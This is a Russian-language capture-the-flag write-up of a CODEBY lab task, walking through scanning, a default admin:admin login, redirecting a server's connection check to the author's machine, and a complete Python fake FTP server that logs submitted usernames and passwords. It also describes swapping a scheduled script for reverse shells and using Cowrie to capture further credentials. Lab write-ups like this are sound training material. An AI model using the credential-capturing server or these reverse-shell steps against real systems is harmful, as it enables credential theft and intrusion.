День 17. таск "Виртуальный сервер"
Сегодня пробуем решать площадку от CODEBY - которая раньше была CODEBY.GAMES
Начнем)
Таск:
Недавно я арендовал VDS. Буду использовать её для различных пентест проектов, пока что я её не полностью подготовил, однако уже настроил SSH и FTP с хранилищем утилит, которые я использую время от времени
Прямые подсказки: тыкать надо ssh + ftp + какие-то утилиты.
Уровень легкий
!Поныть!
( я сидел над этим таском 5 дней... и пытался обойти TTY чтобы выполнить команду с уз admin от уз root, через команду doas
пример: - doas whoami
- root
но по факту было так: - doas whoami
- doas a tty is required)
- 21/tcp - FTP сервер (vsftpd 3.0.5)
- 22/tcp - SSH сервер (OpenSSH 9.9)
- 80/tcp - Веб-сервер (Apache 2.4.62 на Unix)
Берем 80 порт и сканим директории
/login.php- страница входа (200 OK)/cgi-bin/printenv- CGI скрипт (200 OK)/cgi-bin/test-cgi- CGI скрипт (200 OK)/composer.jsonи/composer.lock- файлы зависимостей PHP (200 OK)/vendor/- директория с зависимостями Composer (200 OK)
- CGI скрипты (
/cgi-bin/printenv,/cgi-bin/test-cgi) - могут быть уязвимы для атак типа Shellshock - Composer файлы - могут раскрыть информацию о структуре приложения
- Vendor директория - может содержать уязвимые зависимости
Из login.php:
- Сервер: Apache/2.4.62 (Unix)
- IP клиента: 192.168.2.214
- Рабочий порт: 80
- УЯЗВИМОСТЬ: Скрипт раскрывает переменные окружения (информационная утечка)
- В комментариях предупреждение: "NEVER use it in live server"
Из composer файлов:
- Используется библиотека phpseclib/phpseclib v3.0 (криптография)
- Используется paragonie/constant_time_encoding (безопасное кодирование)
- ВЫВОД: Приложение работает с шифрованием/безопасностью
Из vendor директории:
http://192.168.2.213/login.php
Помним что таск "ИЗИ" - пробуем стандартные креды и подходит admin:admin
Перекидывает на http://192.168.2.213/index.php
Чекнули html - ничего такого, сам код на php выполняет проверку подключения по ssh
- host=127.0.0.1 - можем менять хост ( это понятно)
- &protocol=ssh - вот тут уже интересно можно перебрать сетевые протоколы напомню какие есть:
- ssh - Secure Shell (22 порт)
- ftp - File Transfer Protocol (21 порт)
- sftp - SSH File Transfer Protocol
- http / https - веб-протоколы
- telnet - удаленный доступ (23 порт)
- smtp - почта (25 порт)
- pop3 / imap - почта
- mysql / postgresql - базы данных
- redis - кэш-база
- ldap - каталоги
- &check_connection= - ( тут какая то переменная или аргумент - как бы я её не тыкал - она просто есть - возможно как обычная заглуша или баттон (кнопка)
Перебираем протоколы ( подсказка в задаче - ssh и ftp)
Так - как = Перебор входа напрямую по FTP и SSH - НИЧЕГО НЕ ДАЛ!
Подставляем свой ip и запускаем запрос
Запускаем ловушку для перехвата кредов (Логин+Пароль)
Для этого я не нашел ничего похожего в инете и написал вот такой простой скрипт-ловкушку FTP
class FakeFTPServer:
def __init__(self, host='0.0.0.0', port=21):
self.host = host
self.port = port
self.log_file = "/tmp/ftp_honeypot.log"
def log_event(self, message):
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
log_entry = f"[{timestamp}] {message}\n"
print(log_entry, end='')
with open(self.log_file, "a") as f:
f.write(log_entry)
def handle_client(self, client_socket, address):
self.log_event(f"FTP connection from {address}")
try:
client_socket.send(b"220 Welcome to FTP Server\r\n")
while True:
data = client_socket.recv(1024).decode('utf-8', errors='ignore').strip()
if not data:
break
self.log_event(f"FTP command from {address}: {data}")
if data.upper().startswith('USER'):
username = data[5:].strip()
self.log_event(f"!!! FTP USERNAME attempt: '{username}' from {address}")
client_socket.send(b"331 Please specify the password.\r\n")
elif data.upper().startswith('PASS'):
password = data[5:].strip()
self.log_event(f"!!! FTP PASSWORD attempt: '{password}' from {address}")
client_socket.send(b"530 Login incorrect.\r\n")
elif data.upper().startswith('QUIT'):
client_socket.send(b"221 Goodbye.\r\n")
break
else:
client_socket.send(b"200 OK\r\n")
except Exception as e:
self.log_event(f"Error with {address}: {e}")
finally:
client_socket.close()
self.log_event(f"FTP connection closed from {address}")
def start(self):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((self.host, self.port))
server.listen(5)
self.log_event(f"FTP honeypot started on port {self.port}")
try:
while True:
client, addr = server.accept()
thread = threading.Thread(target=self.handle_client, args=(client, addr))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
self.log_event("FTP honeypot stopped")
finally:
server.close()
if __name__ == "__main__":
port = 21
if len(sys.argv) > 1:
port = int(sys.argv[1])
server = FakeFTPServer(port=port)
server.start()
Запускаем ловушку + отправляем запрос = перехватили креды
Проверяем FTP доступ с этими кредами - успех!
Видим что есть файл в какой-то директории - скорее всего выполняется скрипт через какое то время)
так что скачали файл - подредактируем его так чтобы было 4 способа для revershell на разные порты - отправляем файл назад + ставим прослушку портов.
Отправляем файл - команда "put файл.хх"
Ждем и как видим успех 4 из 4 реверса сработали
Смотрим домашний каталог нашего юзера
Точно так же ищем ловушку - и все что я нашел это утилитка COWRIE
Запустили утилитку + отправили запрос = перехватываем креды
Получаем вторую часть флага - собираем в одно и отправляем - таск КОМПЛИТ!
я 104 - кто решил этот таск
Вот так мы и познакомились с новой площадкой от CODEBY.
Пока остаемся на ней - потому что я словил проблему с доступом к THM)
Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!